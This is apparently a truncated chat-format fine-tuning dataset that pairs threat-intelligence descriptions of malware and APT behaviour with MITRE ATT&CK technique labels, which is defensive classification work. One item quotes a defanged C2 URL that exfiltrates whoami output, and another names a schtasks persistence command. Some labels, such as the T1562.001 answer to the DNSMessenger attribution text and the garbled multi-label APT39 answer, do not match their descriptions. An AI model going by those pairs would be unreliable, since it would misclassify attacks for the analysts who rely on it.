                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HD Creates a file in the Temp path and names it “hd” + PCID then invokes another program module named hd.test1 to identify logical drives"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used HTTP for C2 and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "launched a scheduled task to gain persistence using the schtasks /create /sc command."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 enumerates system information such as hostname, shares, and domain information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has used scheduled tasks to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can parse collected files to identify specific file extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains many methods for bypassing Windows User Account Control on multiple versions of the operating system."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has distributed ransomware by backdooring software installers via a strategic web compromise of the site hosting Italian WinRAR."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose"
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has been installed via MSI installer."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers gain an initial foothold on targeted machines via phishing emails containing malicious attachments. The emails are often industry-specific and crafted to entice a victim to open the message and execute the attached document"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There doesn’t appear to be anything unique when it comes to the Word Document and its standard ploy of pushing recipients to “enable content” and run a malicious macro. An analysis of the link from the phishing e-mail contains a base64-encoded string representing the recipient’s address. Using that string, attackers insert the recipient’s name into the filename of the World document"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32.exe is used as a way of executing  at the command-line."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used SDelete to remove artifacts from victims."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask has masqueraded as executable files such as `winupdate.exe`, `date.exe`, or `win.exe`."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Group looked for a specific process running on infected servers."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This function is the supporting functionality for WinVNC. To allow the VNC session to connect, the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001"
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has injected malicious macros into all Word and Excel documents on mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A recent lull in the distribution of spam spreading information-stealing malware via the Hancitor downloader has been snapped"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan used ssh for internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has compromised email accounts to conduct social engineering attacks."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to create a remote shell and execute specified commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper used shellcode with an XOR algorithm to decrypt a payload. Tropic Trooper also decrypted image files which contained a payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance, menuPass added PlugX as a service with a display name of \"Corel Writing Tools Utility.\""
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger”  When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has compromised email accounts to send spearphishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1021.004 - Remote Services: SSH', 'T1018 - Remote System Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has modified and added entries within \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\" to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can collect the IP address of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has the ability to bypass UAC to deploy post exploitation tools with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Let's use the example data 8,54351-1616479009,0 from a beacon sent from the payload to the C2, which it will encode using base64 to OCw1NDM1MS0xNjE2NDc5MDA5LDA=, append the @ symbol and embed within a BMP image. The 8-bits of this base2 representation are then used to set specific bits within the 3-bytes for each pixel"
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet propagates to available network shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 has used various forms of spearphishing in attempts to get users to open links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used  for credential dumping, as well as Metasploit’s  NTDSGRAB module to obtain a copy of the victim's Active Directory database."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used DLL search order hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used an information gathering module that will hide an AV software window from the victim."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decoding the PDF and AppleSeed payload, the content gets written into the ProgramData directory. At the end, the decoy PDF file is opened by calling Wscript.Shell.Run and the AppleSeed payload executed through PowerShell by calling regsvr32.exe. Calling regsvr32.exe to run a DLL registers it as a server that automatically calls the DLL export function that has been named DllRegisterServer"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impacket contains various modules emulating other service execution tools such as PsExec."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has undergone regular technical improvements in an attempt to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can use DNS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used \"whoami\" commands to identify system owners."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can gather the hostname on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has the ability to capture RDP credentials by capturing the \"CredEnumerateA\" API"
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can check for existing stratum cryptomining information in \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr – %stratum info%\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  HTTP malware variant used Base64 to encode communications to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout can use hidden directories and files to hide malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUPERNOVA had to receive an HTTP GET request containing a specific set of parameters in order to execute."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TINYTYPHON installs itself under Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon opening the attachment, a typical luring mechanism is employed instructing the victim to enable macros, as seen in Figure 2. FireEye has observed the attackers behind this campaign using three different approaches"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server: %APPDATA%\\Windows\\ShwDoc.srv If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL: hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)> The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing directory listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 searches through connected drives for removable storage devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can Base64 encode data sent to C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For the first time, the ROKRAT sample used during the \"North Korean Human Rights\" contained a browser credentials stealer. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is the initialization of the Vault APIs: On the left, we have the ROKRAT sample and on the right the FreeMilk sample"
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors split some archived exfiltration files into chunks smaller than 1MB."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike has the ability to use Smart Applet attacks to disable the Java SecurityManager sandbox."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has checked for the existence of Kaspersky antivirus software on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon lists the directories for Desktop, program files, and the user’s recently accessed files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has the ability to search for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the \"Paths\" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
